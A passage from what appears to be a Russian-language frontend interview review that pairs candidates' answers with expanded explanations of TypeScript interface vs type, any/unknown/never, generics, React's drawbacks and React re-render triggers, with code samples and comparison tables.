  • Расширение глобальных объектов: Window, Global, ProcessEnv, Express.Request (добавление user, session).
  • Модульное расширение библиотек: @types/express добавляет базовый Request, ваш проект мержит туда авторизацию.
  • Плагинная архитектура: Разные пакеты могут расширять общий конфиг/контракт без зависимости друг от друга.

type — НЕ поддерживает слияние:

type A = { a: number };
type A = { b: string }; // Error: Duplicate identifier 'A'.

2. Возможности type, недоступные interface

ВозможностьtypeinterfaceПример
Примитивыtype ID = string | number;
Union Typestype Result = Success | Error;
Intersection Types⚠️ (через extends)type Combined = A & B;
Tuple / Array типыtype Pair = [string, number];
Mapped Typestype Readonly<T> = { readonly [K in keyof T]: T[K] };
Conditional Typestype NonNullable<T> = T extends null | undefined ? never : T;
Template Literal Typestype EventName<T> = `on${Capitalize<T>}`;
Infer (в условных типах)type ReturnType<T> = T extends (...a) => infer R ? R : never;
Type Aliases для Utilitytype MyPick<T, K extends keyof T> = ...

Вывод: Для утилит, трансформаций, юнионов, примитивов, кортежейтолько type.


3. Расширение (Extends / Implements) — Нюансы

Оба поддерживают extends, но семантика разная.

interface extends interface (Наследование):

interface Animal { name: string; }
interface Dog extends Animal { bark(): void; }
// Dog = { name: string; bark(): void; }

type extends type (Intersection / Пересечение):

type Animal = { name: string; };
type Dog = Animal & { bark(): void; }; // То же самое структурно

Разница при конфликте свойств:

interface Base { x: number; }
interface Derived extends Base { x: string; } // Error: Property 'x' is not assignable.
// interface требует КОНТРАВАРИАНТНОСТИ (подтип должен быть суже или равен).

type BaseT = { x: number; };
type DerivedT = BaseT & { x: string; }; // OK! Тип x становится `number & string` = `never`.
// type позволяет пересечение, результат может стать `never` (impossible type).

implements (Классы): Класс может implements и interface, и type (если type — это объектный тип/пересечение объектных типов).

class C implements Dog {} // OK для обоих

Но: interface исторически считается «контрактом для классов», type — «описанием формы данных».


4. Производительность компилятора (Performance) — Senior Detail

Это часто упускают, но на больших проектах (100k+ строк) это критично.

  • interface — быстрее для проверки типов (Type Checking).

    • Компилятор кэширует результат проверки интерфейса по имени.
    • При сравнении A extends B проверяется иерархия имен.
    • Рекомендуется в tsconfig.json: "compilerOptions": { "useDefineForClassFields": true } и стиль кода — интерфейсы для публичных API.
  • type — медленнее (структурное сравнение).

    • Алиас раскрывается (expanded) при каждом использовании.
    • Сложные Mapped/Conditional Types пересчитываются многократно.
    • Глубокие рекурсивные типы могут упираться в лимит глубины (type instantiation is excessively deep).

Правило: Публичные API, DTO, Props компонентов, контракты между модулями — interface. Внутренняя логика, утилиты, юнионы, маппинги — type.


5. Рекурсивные типы

interface — нативно поддерживает рекурсию (через отложенное разрешение имени).

interface JsonNode {
value: string | number | JsonNode | JsonNode[];
children?: JsonNode[];
}

type — требует type + interface хак или RecursiveType (TS 4.1+ с type работает, но исторически был баг). Современный TS (4.7+) позволяет рекурсию в type через type сам в себе, но interface все равно надежнее для глубоких деревьев.


6. readonly и модификаторы в implements

interface I { readonly x: number; }
type T = { readonly x: number; };

class C implements I { x = 1; } // OK
class D implements T { x = 1; } // OK (с TS 4.7+)

Раньше implements type игнорировал readonly, теперь поведение выровнено.


7. Best Practices & Style Guide (Airbnb / Google / TypeScript Team)

  1. Публичные API / DTO / Props / State / Contracts → interface.

    • Позволяет потребителям расширять (Declaration Merging).
    • Лучше читается в .d.ts (декларациях).
    • Быстрее для компилятора.
    • Семантика: «Это форма объекта / Контракт».
  2. Утилиты / Юнионы / Примитивы / Кортежи / Маппинги / Условные типы → type.

    • Техническая необходимость.
    • Семантика: «Это вычисленный тип / Алиас».
  3. Не смешивайте в одном файле без причины.

    • Плохо: interface Props { ... } и рядом type State = ... для одного компонента, если State — просто объект. Лучше interface State { ... } для единообразия.
    • Хорошо: interface User { ... } + type UserId = User['id']; (утилита).
  4. Избегайте type X = InterfaceY & { z: string } для расширения.

    • Лучше: interface ExtendedY extends InterfaceY { z: string; }.
    • Сохраняет interface в иерархии, быстрее проверка, работает instanceof проверки типов (в рантайме нет, но в дизайне — да).
  5. declare global / module augmentation — только interface.

    declare global {
    interface Window { __MY_APP__: true; } // Только так
    }

8. Сводная таблица (Cheat Sheet)

Характеристикаinterfacetype
Объединение (Merging)✅ Да (Declaration Merging)❌ Нет (Duplicate identifier)
Примитивы / Юнионы / Кортежи❌ Нет✅ Да
Mapped / Conditional / Template❌ Нет✅ Да
extends (Наследование)✅ Да (Implements-like)✅ Да (Intersection)
implements (Классы)✅ Да✅ Да (если объектный тип)
Рекурсия✅ Нативно✅ (TS 4.7+), но интерфейс надежнее
Скорость проверки (TS Server)Быстрее (кэш по имени)🐢 Медленнее (раскрытие структуры)
Вывод типов (Inference)Имя сохраняется в ошибкахРаскрывается в структуру (verbose errors)
Основной Use CaseКонтракты, API, DTO, Props, Global AugmentationУтилиты, Юнионы, Композиция, Transformations

9. Резюме для интервью

> «По умолчанию использую interface для описания форм объектов (DTO, Props, API Response, State), потому что это дает Declaration Merging (важно для расширения глобальных типов и библиотек), лучшую производительность компилятора на больших проектах и чище читаемые ошибки. > > Использую type когда нужно: Union/Intersection, примитивы, кортежи, Mapped/Conditional Types, утилиты (Pick, Omit, ReturnType), или когда описываю сложную внутреннюю структуру, которая не является публичным контрактом. > > Ключевое техническое отличие — Declaration Merging у интерфейсов и возможность описывать не-объектные типы у type

Вопрос 18. В чём отличие между any, unknown и never.

Таймкод: 00:27:59

Ответ собеседника: Правильный. any — отключает проверки, можно делать что угодно. unknown — безопаснее, нужно делать type guard (проверку типа) перед использованием. never — тип, который никогда не происходит (функции, выбрасывающие ошибку, бесконечные циклы) или для exhaustive checking в switch/union (пример с меню: листовой элемент без детей — never для children).

Правильный ответ:

Эти три типа представляют вершины и дно иерархии типов TypeScript (Type Hierarchy). Понимание их семантики критично для проектирования безопасных API и работы с Generics.


1. any — «Отключение проверки типов» (Top Type / Escape Hatch)

  • Семантика: «Я знаю, что делаю, компилятор не мешай». Полный отказ от статической типизации для данного значения.
  • Позиция в иерархии: Supertype (супертип) для всех типов (кроме never? — см. ниже). Любой тип присваивается в any.
  • Двунаправленность (Unsoundness): any присваивается в любой тип (кроме never в strict mode). Это ломает звучность (soundness) системы типов.
let value: any = "hello";
value = 42; // OK
value = { x: 10 }; // OK

// ОПАСНОСТЬ: Разыменование несуществующих свойств
value.foo.bar.baz(); // TS: OK! Runtime: TypeError

// ОПАСНОСТЬ: Неявное распространение
const num: number = value; // OK! num теперь может быть строкой/объектом во время выполнения

Когда легально использовать:

  1. Миграция JS -> TS: Временная мера, цель — убрать все any до продакшена.
  2. Сторонние библиотеки без типов: declare const lib: any; (лучше написать .d.ts или unknown + type guards).
  3. JSON.parse возвращает any (в стандартной либе) — нужно сразу кастовать/валидировать: const data = JSON.parse(str) as UnknownSchema;.
  4. Рекурсивные структуры в старых TS (до 4.1), где type не рекурсивен.

ESLint правила: @typescript-eslint/no-explicit-any (error), @typescript-eslint/no-unsafe-assignment / member-access / call / return.


2. unknown — «Безопасный any» (Top Type / Safe Any)

  • Семантика: «Это какое-то значение, но я не знаю какое. Докажи (narrow), прежде чем использовать».
  • Позиция в иерархии: Supertype для всех типов (как any). Любой тип присваивается в unknown.
  • Однонаправленность (Soundness): unknown НЕ присваивается ни в какой другой тип (кроме any и unknown самого себя). Требует Type Narrowing (сужения типа).
let value: unknown = "hello";
// value.toFixed(2); // Error: Property 'toFixed' does not exist on type 'unknown'.

// Narrowing (сужение) — ЕДИНСТВЕННЫЙ способ работы:
if (typeof value === "string") {
value.toUpperCase(); // OK: здесь value: string
}

try {
JSON.parse(value); // OK: аргумент string
} catch { }

// Присваивание в конкретный тип — ТОЛЬКО через narrowing или assertion (опасно)
const str: string = value; // Error
const strSafe: string = typeof value === "string" ? value : "default"; // OK
const strAssert = value as string; // OK, но на вашей совести (assertion)

Best Practice: Используйте unknown вместо any для:

  • Аргументов catch (TS 4.4+: catch (e: unknown)).
  • Результатов fetch / localStorage / JSON.parse до валидации.
  • Props в универсальных компонентах (Component<unknown>).
  • Типизации event в обработчиках, если не уверены в точном типе.

3. never — «Никогда не бывает» (Bottom Type)

  • Семантика: «Значения этого типа не существует». Пустое множество значений (Empty Set).
  • Позиция в иерархии: Subtype (подтип) для всех типов. never присваивается в любой тип (string, number, MyInterface).
  • Обратное неверно: Никакой тип (кроме never) не присваивается в never.

Три основных сценария возникновения:

А. Функции, которые НЕ ВОЗВРАЩАЮТ УПРАВЛЕНИЕ (Never return)

function fail(msg: string): never {
throw new Error(msg);
}

function infiniteLoop(): never {
while (true) { /* ... */ }
}

function exhaustiveCheck(x: never): never {
throw new Error(`Unexpected: ${x}`);
}

Возвращаемый тип never говорит: «Эта функция не завершается нормально».

Б. Exhaustive Checking (Проверка полноты перебора) — Главный паттерн Senior Гарантирует, что все случаи Union-типа обработаны. Если добавите новый вариант в Union — TS заругается в default ветке.

type Shape =
| { kind: "circle"; radius: number }
| { kind: "square"; side: number }
| { kind: "triangle"; a: number; b: number; c: number };

function getArea(shape: Shape): number {
switch (shape.kind) {
case "circle": return Math.PI * shape.radius ** 2;
case "square": return shape.side ** 2;
case "triangle":
const s = (shape.a + shape.b + shape.c) / 2;
return Math.sqrt(s * (s - shape.a) * (s - shape.b) * (s - shape.c));
default:
// Если добавить в Shape новый тип, например "rectangle",
// shape здесь будет типа `never` (так как все известные обработаны),
// и exhaustiveCheck потребует аргумент `never`, который невозможно передать.
// ОШИБКА КОМПИЛЯЦИИ: Argument of type '...' not assignable to 'never'.
return exhaustiveCheck(shape);
}
}

В. Удаление вариантов из Union (Conditional Types / Distributive Omit)

type NoCircle<T> = T extends { kind: "circle" } ? never : T;

type Shapes = Shape | { kind: "rectangle"; w: number; h: number };
type NonCircleShapes = NoCircle<Shapes>;
// Результат: { kind: "square" } | { kind: "triangle" } | { kind: "rectangle" }
// `never` в условном типе работает как "фильтр" (пропускает только остальное).

4. Сравнительная таблица (Cheat Sheet)

Характеристикаanyunknownnever
РольEscape Hatch (Дыра в типизации)Safe Top Type (Безопасный верх)Bottom Type (Низ / Пустота)
Присваивание В него (X = ...)Все (string, number, object, never)Все (string, number, object, never)Только never
Присваивание ИЗ него (... = X)Во все (кроме never в strict)Только в any / unknown (без narrowing)Во всеstring, number, MyType)
Доступ к свойствам/методам✅ Разрешен (unsafe)❌ Запрещен (нужен narrowing)❌ Н/А (значений нет)
Вызов функции✅ Разрешен❌ Запрещен❌ Н/А
Ключевое слово keyofstring | number | symbolnever (нет ключей у неизвестного)never
Распространение в GenericsЗагрязняет всё (T extends any)Безопасно (T extends unknown)Используется для фильтрации/проверки

5. Взаимодействие в Generics и Утилитах (Advanced)

Record<Keys, any> vs Record<Keys, unknown>

// any - можно читать/писать что угодно, но типы теряются
const r1: Record<string, any> = { a: 1 };
r1.b = "str"; // OK
const n: number = r1.a; // OK (но unsafe)

// unknown - можно только писать, читать — через narrowing
const r2: Record<string, unknown> = { a: 1 };
// r2.b = "str"; // OK
// const n: number = r2.a; // Error! unknown не number
if (typeof r2.a === 'number') { /* OK */ }

Partial<T> / Required<T> с never

// Сделать поле обязательно неудаляемым (required + not undefined)
type RequiredNotNull<T> = {
[K in keyof T]-?: Exclude<T[K], null | undefined>; // Exclude использует never
};

Promise<never> — промис, который никогда не резолвится (только reject или висит вечно). Полезен для типизации await Promise.race([fetch(), timeout()]), где таймаут не имеет значения, а только ошибку.


6. Ловушки и Edge Cases

  1. any в массивах/объектах заражает всё:

    const arr: any[] = [1, 2, 3];
    const first = arr[0]; // any!
    const num: number = first; // OK, но unsafe

    Лечение: const arr: unknown[] = ... или readonly unknown[].

  2. keyof any vs keyof unknown:

    type K1 = keyof any; // string | number | symbol
    type K2 = keyof unknown; // never (у неизвестного типа нет известных ключей)
  3. never в интерсекшне (Intersection):

    type Weird = string & never; // never
    // Интерсекция с пустым множеством = пустое множество.
  4. void vs never в колбэках:

    // Колбэк, который ничего не возвращает (но завершается)
    function onDone(cb: () => void) { cb(); }

    // Колбэк, который НИКОГДА не вернет управление (throw/loop)
    function onCriticalError(cb: () => never) { cb(); console.log('unreachable'); }

    Правило: Если колбэк может быть асинхронным или просто возвращать undefined — используйте () => void. () => never — только для гарантированного краша.


7. Резюме: Ментальная модель

ТипМножество значенийАналогия в множествахНазначение
anyВсе значения + «магия»Universal Set ∪ MagicОтключение типизации. Только для миграции/legacy.
unknownВсе значенияUniversal SetВходные данные извне (I/O). «Докажи, что это строка, прежде чем использовать».
neverНикаких значенийEmpty Set (∅)Контроль достижимости кода. Exhaustive checks, функции-крашеры, фильтрация типов.

Правило архитектора: > Входные данные (API, User Input, Config) → unknown → Валидация (Zod/Guard) → Конкретный Тип. > Внутренняя логика → Конкретные Типы / Generics. > any → Запрещен в прод-коде (ESLint error). > never → Инструмент для доказательства корректности (Exhaustive Checks).

Вопрос 19. Что такое дженерики (generics) в TypeScript и пример использования.

Таймкод: 00:30:26

Ответ собеседника: Правильный. Дженерики — это параметризация типов, когда тип становится переменной. Пример: функция, принимающая массив элементов типа T, где T передаётся при вызове. Позволяет переиспользовать логику для разных типов данных.

Правильный ответ:

Дженерики (Generics / Обобщения) — это механизм параметрического полиморфизма (Parametric Polymorphism). Они позволяют писать код (функции, классы, интерфейсы, типы), который работает с разными типами данных, сохраняя строгую типизацию и инференс (вывод типов) без дублирования кода (any не нужен).

В терминах теории типов: List<T> — это конструктор типов (Kind * -> *), принимающий конкретный тип T и возвращающий новый тип List<number>, List<string> и т.д.


1. Базовый синтаксис и Инференс (Type Inference)

// Функция-identity: принимает T, возвращает T
function identity<T>(arg: T): T {
return arg;
}

// 1. Явное указание типа (Explicit Generic Argument)
const num = identity<number>(42); // T = number
const str = identity<string>("hi"); // T = string

// 2. Инференс (Implicit) — TypeScript сам выведет T из аргумента
const bool = identity(true); // T = boolean (Best Practice)
const arr = identity([1, 2, 3]); // T = number[]

// 3. Множественные параметры
function pair<K, V>(key: K, value: V): [K, V] {
return [key, value];
}
pair("id", 123); // [string, number]

2. Constraints (Ограничения) — extends

Ограничиваем множество допустимых типов T. Доступны только свойства из ограничения.

// T должен иметь свойство .length
function logLength<T extends { length: number }>(arg: T): T {
console.log(arg.length); // OK
// arg.toFixed(); // Error: нет в ограничении
return arg;
}

logLength("string"); // OK (string имеет length)
logLength([1, 2, 3]); // OK (array имеет length)
logLength({ length: 10, value: 3 }); // OK (object с length)
// logLength(42); // Error: number не имеет length

Паттерн: keyof Constraint (Доступ к свойствам объекта по ключу)

function getProp<T, K extends keyof T>(obj: T, key: K): T[K] {
return obj[key];
}

const user = { id: 1, name: "Alice", active: true };
const id = getProp(user, "id"); // T=User, K="id" -> возвращает number
const name = getProp(user, "name"); // K="name" -> возвращает string
// getProp(user, "age"); // Error: "age" не в keyof User

3. Default Generic Parameters (Умолчания)

Упрощают использование, делая тип опциональным для потребителя.

// Классический пример: API Response с дефолтом для ошибки
interface ApiResponse<T, E = Error> {
data: T | null;
error: E | null;
success: boolean;
}

// Использование:
type UserResponse = ApiResponse<User>; // E = Error (по умолчанию)
type CustomErrorResponse = ApiResponse<User, ApiError>; // Переопределили E

// В функциях (TS 2.3+)
function createArray<T = string>(length: number, value: T): T[] {
return Array(length).fill(value);
}
createArray(3, "a"); // string[]
createArray(3, 1); // number[] (T вывелся как number)
// createArray(3); // Error: нужен второй аргумент для вывода T, если нет дефолта для value

4. Generics в Интерфейсах и Типах (Type Aliases)

// Интерфейс (предпочтительно для публичных API — Declaration Merging)
interface Box<T> {
value: T;
getValue: () => T;
}

// Type Alias (нужно для Union, Mapped, Conditional)
type Result<T, E = Error> =
| { success: true; data: T }
| { success: false; error: E };

// Использование
const ok: Result<number> = { success: true, data: 42 };
const fail: Result<string, string> = { success: false, error: "Not found" };

// Рекурсивные типы (JSON-like)
type JsonValue =
| string | number | boolean | null
| JsonValue[]
| { [key: string]: JsonValue };

5. Generics в Классах

class DataStore<T> {
private items: T[] = [];

add(item: T): void { this.items.push(item); }
getAll(): T[] { return [...this.items]; }
find(predicate: (item: T) => boolean): T | undefined {
return this.items.find(predicate);
}
}

const userStore = new DataStore<User>(); // T = User
userStore.add({ id: 1, name: "Bob" });
// userStore.add("string"); // Error

// Static методы НЕ имеют доступа к T класса (у класса нет T в статическом контексте)
class Factory<T> {
// static create(): T {} // Error: 'T' only refers to a type, but is being used as a value here.
static create<U>(value: U): U { return value; } // Нужен свой generic
}

6. Продвинутые паттерны (Senior Level)

А. Conditional Types (Условные типы) + infer

Основа для Utility Types (ReturnType, Parameters, PromiseType, UnwrapRef).

// Распаковка промиса (как встроенный Awaited<T> в TS 4.5+)
type UnwrapPromise<T> = T extends Promise<infer U> ? U : T;

type T1 = UnwrapPromise<Promise<string>>; // string
type T2 = UnwrapPromise<number>; // number (не промис -> как есть)

// Получение типа элемента массива
type ElementType<T> = T extends (infer U)[] ? U : never;
type ArrEl = ElementType<string[]>; // string

Б. Mapped Types (Преобразование ключей/значений)

// Сделать все свойства опциональными и nullable
type PartialNullable<T> = {
[K in keyof T]?: T[K] | null;
};

// Ребрендинг ключей (Template Literal Types TS 4.1+)
type Getters<T> = {
[K in keyof T as `get${Capitalize<string & K>}`]: () => T[K];
};

type UserGetters = Getters<{ id: number; name: string }>;
// { getId: () => number; getName: () => string; }

В. Variance (Ковариантность / Контравариантность) — in / out (TS 4.7+)

По умолчанию TS использует структурную ковариантность (безопасную для чтения, небезопасную для записи). Явные модификаторы позволяют контролировать это для сложных иерархий.

// Producer (Только чтение / Output) -> Ковариантный (out)
// Если Dog extends Animal, то Producer<Dog> можно использовать как Producer<Animal>
interface Producer<out T> {
make(): T;
}

// Consumer (Только запись / Input) -> Контравариантный (in)
// Если Dog extends Animal, то Consumer<Animal> можно использовать как Consumer<Dog>
interface Consumer<in T> {
take(value: T): void;
}

В 99% кода не нужно писать in/out вручную, TS выводит вариативность по использованию свойств (readonly -> out, аргументы функций -> in). Нужно для сложных библиотек (RxJS, Redux Toolkit, Effect).


7. Utility Types на основе Generics (Стандартная библиотека)

Все они — это type с Generics + Mapped/Conditional Types.

UtilityОписаниеРеализация (упрощенно)
Partial<T>Все свойства опциональны{ [K in keyof T]?: T[K] }
Required<T>Все свойства обязательны{ [K in keyof T]-?: T[K] }
Readonly<T>Все свойства readonly{ readonly [K in keyof T]: T[K] }
Pick<T, K>Выбрать ключи K{ [P in K]: T[P] }
Omit<T, K>Исключить ключи KPick<T, Exclude<keyof T, K>>
Record<K, T>Объект с ключами K и значениями T{ [P in K]: T }
ReturnType<T>Тип возвращаемого значения функцииT extends (...args) => infer R ? R : never
Parameters<T>Кортеж типов аргументов функцииT extends (...args: infer P) => any ? P : never
NonNullable<T>Исключить null/undefinedT extends null | undefined ? never : T
Awaited<T> (TS 4.5)Рекурсивная распаковка PromiseT extends Promise<infer U> ? Awaited<U> : T

8. Best Practices & Anti-patterns

ПрактикаПочему
Именование: T, U, V, K, VКонвенция: T (Type), K (Key), V (Value), E (Error), R (Return). Для сложных — описательные: TUser, TRequest.
Избегайте any в дженерикахfunction foo<T>(x: T): any — теряет тип. Возвращайте T или конкретный тип.
Не злоупотребляйте GenericsЕсли функция не использует T в аргументах/возврате — она не должна быть дженериком. function log<T>(msg: string): void — лишний <T>.
const Type Parameters (TS 5.0+)function fn<const T extends string>(x: T) {} — сохраняет литеральный тип ("a" | "b" вместо string). Критично для DX (автодополнение).
infer в Conditional TypesЕдинственный способ «достать» тип изнутри другого типа.
Курсирование Generics (Currying Types)type Factory<T> = <U>(arg: U) => T; — полезно для фабрик.

9. Реальный Production Example: Типизированный fetch Wrapper

// 1. Базовый Generic Response
interface ApiResponse<T> {
data: T;
meta: { requestId: string };
}

// 2. Generic Error (Discriminated Union)
type ApiResult<T, E = ApiError> =
| { success: true; response: ApiResponse<T> }
| { success: false; error: E };

// 3. Generic Request Config
interface RequestConfig<TBody = unknown> {
method: 'GET' | 'POST' | 'PUT' | 'DELETE';
url: string;
body?: TBody;
params?: Record<string, string>;
headers?: Record<string, string>;
}

// 4. Типизированная функция запроса
async function request<TResponse, TBody = unknown, TError = ApiError>(
config: RequestConfig<TBody>
): Promise<ApiResult<TResponse, TError>> {
try {
const response = await fetch(`${config.url}?${new URLSearchParams(config.params)}`, {
method: config.method,
headers: { 'Content-Type': 'application/json', ...config.headers },
body: config.body ? JSON.stringify(config.body) : undefined,
});

if (!response.ok) {
const errData = await response.json().catch(() => ({}));
return { success: false, error: { status: response.status, ...errData } as TError };
}

const data = await response.json();
return { success: true, response: { data, meta: { requestId: response.headers.get('x-request-id') || '' } } };
} catch (e) {
return { success: false, error: { message: 'Network error' } as TError };
}
}

// 5. Использование — Полная типизация входящих/исходящих данных
interface User { id: number; email: string; }
interface CreateUserDto { email: string; password: string; }

// GET
const getUser = (id: number) => request<User>({ method: 'GET', url: `/users/${id}` });
// Результат: Promise<ApiResult<User, ApiError>>

// POST
const createUser = (dto: CreateUserDto) => request<User, CreateUserDto>({ method: 'POST', url: '/users', body: dto });
// Результат: Promise<ApiResult<User, ApiError>>

// В компоненте:
const result = await getUser(1);
if (result.success) {
console.log(result.response.data.email); // Тип User
} else {
console.error(result.error.status); // Тип ApiError
}

10. Резюме

  1. Generics = Параметры типов. Позволяют писать DRY (Don't Repeat Yourself) типизацию.
  2. Инференс — сила TS. В 90% случаев не нужно писать <Type> явно — TS сам поймет.
  3. Constraints (extends) — защита от невалидных типов и доступ к свойствам.
  4. Defaults (= Type) — удобство API для потребителей.
  5. Advanced (infer, keyof, Mapped, Conditional) — основа для построения Type-Safe DSL (Domain Specific Languages) внутри TS: роутеры (tRPC, Hono), ORM (Prisma, Drizzle), State Management (Redux Toolkit, Zustand), Validation (Zod, Valibot).
  6. Вариативность (in/out) — понимание того, как типы подтипизируются в сложных структурах (функции, массивы, промисы), нужно для архитектуры библиотек.

Вопрос 20. Какие есть минусы у React.

Таймкод: 00:37:58

Ответ собеседника: Правильный. 1. Большой бандл (ядро тянется даже для маленьких приложений). 2. Частые лишние ререндеры (нужна мемоизация). 3. Нет встроенного стейт-менеджера (надо подключать Redux/MobX/Zustand). 4. JSX требует компиляции (проблемы с инструментами вроде Storybook без сборки). 5. Низкий порог входа приводит к плохому коду.

Правильный ответ:

Кандидат верно перечислил основные болевые точки. На уровне Senior/Tech Lead важно понимать природу этих проблем, их актуальность в современных версиях (18/19, RSC, React Compiler) и стратегии митигации.


1. Размер бандла и «Стоимость входа» (Bundle Size & Baseline Cost)

  • Факты: react + react-dom42-45 KB gzipped (React 18). Для сравнения: Preact ~3 KB, Solid ~7 KB, Svelte (компилируемый) —.runtime минимален.
  • Нюанс: Это фиксированные издержки. На крупных приложениях (500+ KB JS) это < 5%. На виджетах, микро-фронтендах, лендингах, встраиваемых скриптах — это критично.
  • Современное состояние: React 19 не уменьшил ядро. Появление React Server Components (RSC) переносит часть логики на сервер (бандл клиента не включает код серверных компонентов), но базовый рантайм всё равно нужен для интерактивности.
  • Митигация:
    • Code Splitting (React.lazy, Suspense) — обязательно.
    • Для виджетов/встраиваемых приложений — рассмотрение Preact (совместимый API, preact/compat), Solid или Vanilla JS / Web Components.
    • esbuild / swc / vite — быстрая сборка, tree-shaking работает хорошо.

2. Реактивность на основе рендера (Re-renders & Memoization Hell)

  • Природа: React использует Pull-based reactivity (опрос/сравнение) vs Push-based (Signals в Solid, Vue, Svelte, Qwik).
    • Изменение стейта → Ре-рендер компонента → Рекурсивный ре-рендер всех детей (если не прервано memo).
    • Это O(N) сложность по дереву компонентов на каждое обновление.
  • Проблема: «Death by a thousand cuts» — сотни мелких ре-рендеров убивают FPS (INP metric).
  • Инструменты защиты (Manual):
    • React.memo (shallow compare props).
    • useMemo / useCallback (стабилизация ссылок).
    • useRef / useImperativeHandle (мутация без ре-рендера).
  • Современное решение: React Compiler (React Forget — Experimental/Canary в React 19).
    • Автоматическая мемоизация на этапе компиляции (Babel/SWC plugin).
    • Анализирует код, вставляет useMemo/useCallback/memo эквиваленты.
    • Промисит уйти от ручной мемоизации как от стандартной практики.
  • Архитектурный паттерн: Atomic Design / Component Splitting — маленькие листы дерева, которые дешево ре-рендерить, + изоляция тяжелой логики в useMemo / Web Workers.

3. Отсутствие встроенного State Management (No Built-in Global State)

  • Философия: React — это View Layer (V в MVC). Команда намеренно не включает глобальный стор, чтобы не навязывать паттерны.
  • Последствие: «Decision Fatigue» (усталость от выбора). Новички кладут всё в Context + useStateпроблема производительности (Context ре-рендерит всех потребителей при любом изменении).
  • Эволюция подходов:
    • Legacy: Redux (boilerplate), MobX (магия).
    • Modern Client State: Zustand / Jotai / Valtio / Recoil — атомарные, не требуют провайдеров, работают за пределами React-дерева (подписка на изменение, не ре-рендер контекста).
    • Server State: TanStack Query (React Query) / SWR / RTK Query — кэширование, дедупликация, инвалидация, оптимистичные обновления. Это де-факто стандарт для серверных данных.
    • Forms: React Hook Form / TanStack Form — неконтролируемые, минимизируют ре-рендеры.
  • Best Practice: Разделять Server State (TanStack Query) и Client UI State (Zustand/Jotai/Context для тем/модалок). Не пишите свой Redux в 2024+ без причины.

4. JSX и Компиляция (Build Step Dependency)

  • Проблема: Браузеры не понимают JSX. Нужен трансформер (Babel, SWC, esbuild, TypeScript). Это добавляет:
    • Сложность конфигурации (даже в Vite/Next.js есть скрытая сложность).
    • Проблемы с HMR (Hot Module Replacement) на границе типов/рантайма.
    • Сложность для Storybook, Playwright, Jest/Vitest (нужны пресеты).
    • Невозможность нативно запустить компонент в консоли браузера / CodePen без сборки.
  • Альтернативы без билда (для прототипов/виджетов):
    • htm + Preact (-tagged template literals).
    • React.createElement вручную (нечитаемо).
    • Web Components (Native, но другой DX).
  • React 19 / Future: Нет планов нативной поддержки JSX в браузерах (TC39 не стандартизирует). Направление — Server Components (компиляция на сервере, отправка JSON/FLIGHT формата клиенту).

5. Низкий порог входа → Плохой код (Footguns & Anti-patterns)

  • Примеры антипаттернов, которые «работают», но ломают производительность/архитектуру:
    • Props Drilling вместо композиции / Context / State Colocation.
    • God Components (1000+ строк, смешанная логика UI + Data + Business).
    • Мутация Props/State: props.user.name = 'New'; state.items.push(item).
    • Side-effects в теле рендера: useEffect без deps, fetch в рендере, localStorage в рендере.
    • Неправильные Key: index как key, случайные ID (Math.random()).
    • Context для высокочастотных обновлений: Тема, юзер, локаль — ок. Позиция мыши, скролл, WebSocket сообщения — не ок (ре-рендер всего дерева).
    • Игнорирование useEffect cleanup: Утечки памяти, гонки запросов (race conditions).
    • Early Return Hell: Множественные if (!data) return null вместо Guard Clauses / Suspense / Error Boundaries.

6. Дополнительные минусы (Senior Perspective)

МинусОписаниеСтатус / Решение
Waterfall Requests (Клиентский)useEffect -> fetch -> setState -> Child useEffect -> fetch. Последовательные загрузки.RSC (Server Components) решает архитектурно. На клиенте — TanStack Query (параллелизм), Suspense + use (React 19).
Сложность useEffectЗамыкания, зависимость от стейта, cleanup, double-invoke в Strict Mode.React Query / SWR убирают 90% useEffect для данных. Для подписок — кастомные хуки (useEventListener, useWebSocket).
Отсутствие Signals (Fine-grained reactivity)Ручная оптимизация vs Автоматическая (Solid, Vue, Svelte, Preact Signals, @preact/signals-react).React Compiler — ответ на это. @preact/signals-react можно использовать гибридно уже сейчас.
Suspense для Data Fetching (Client-only)Долгое время нестабильно/недокументировано.React 19 + Frameworks (Next.js, Remix, React Router 7) — стабильно через фреймворк. Чистый React — всё ещё use + Promise throwing (экспериментально).
Hydration Mismatch / ErrorsSSR/SSG + Client Hydration → ошибки контента, фликеры.RSC / Streaming SSR / suppressHydrationWarning / useId.
Testing Complexityact(), waitFor, мокирование провайдеров (Router, QueryClient, Theme, Auth).React Testing Library (стандарт), MSW (мокирование сети), Vitest (скорость).

7. Резюме: React в 2024/2025 — Trade-offs

МинусАктуальностьМитигация (Standard Stack 2024+)
Bundle SizeНизкая (для App), Высокая (для Widget)Code Splitting, Preact для виджетов.
Re-rendersВысокая (Core Problem)React Compiler (Forget), Atomic Components, Zustand/Jotai (bypass React state), useMemo/memo (пока нет компилятора).
State ManagementРешена экосистемойTanStack Query (Server), Zustand/Jotai (Client UI), React Hook Form (Forms).
Build StepДанность экосистемыVite / Next.js / Rsbuild — скрывают сложность.
DX / FootgunsВысокая для новичковESLint (plugin-react-hooks, react-refresh), TypeScript (Strict), Code Review, Архитектурные гайдлайны.

Вердикт Tech Lead: React выигрывает экосистемой, наймом, стабильностью API, Server Components (RSC) и React Compiler. Минусы управляемы дисциплиной, линтерами, правильным выбором библиотек (Query + Signals-like State) и архитектурой. Выбирать альтернативу (Vue, Svelte, Solid) имеет смысл, если: команда мала, проект — виджет/лендинг, есть сильный бэкграунд в другой технологии, или критична производительность без инвестов в оптимизацию.

Вопрос 21. При каких обстоятельствах происходит ререндер компонента в React и как на это влиять.

Таймкод: 00:42:26

Ответ собеседника: Правильный. Ререндер при: изменении state (setState), изменении props от родителя, изменении контекста (useContext). Влиять можно: React.memo (сравнение props), useMemo/useCallback (стабильность ссылок), кастомная логика в React.memo (второй аргумент).

Правильный ответ:

Кандидат назвал базовые триггеры и инструменты оптимизации. На уровне Senior/Tech Lead важно понимать механику ререндера (Reconciliation), условия Bailout (пропуска рендера), проблему контекста и современные подходы (React Compiler, Signals).


1. Триггеры ререндера (Sources of Update)

Ререндер компонента-функции — это вызов этой функции React-ом для получения нового React Element дерева.

#ТриггерДетали
1setState / dispatch (useState, useReducer)Вызов сеттера в текущем компоненте. Всегда ставит компонент в очередь обновления (даже если значение то же самое — см. Bailout).
2Ререндер РодителяЕсли родитель ре-рендерится, он вызывает дочерние функции/создает элементы. По умолчанию дети ре-рендерятся ВСЕГДА, даже если пропсы не менялись (ключевое отличие от Vue/Svelte).
3Изменение Контекста (useContext)Любое изменение value в Context.Provider вызывает ререндер всех потребителей (useContext), игнорируя React.memo. Нет встроенного селектора.
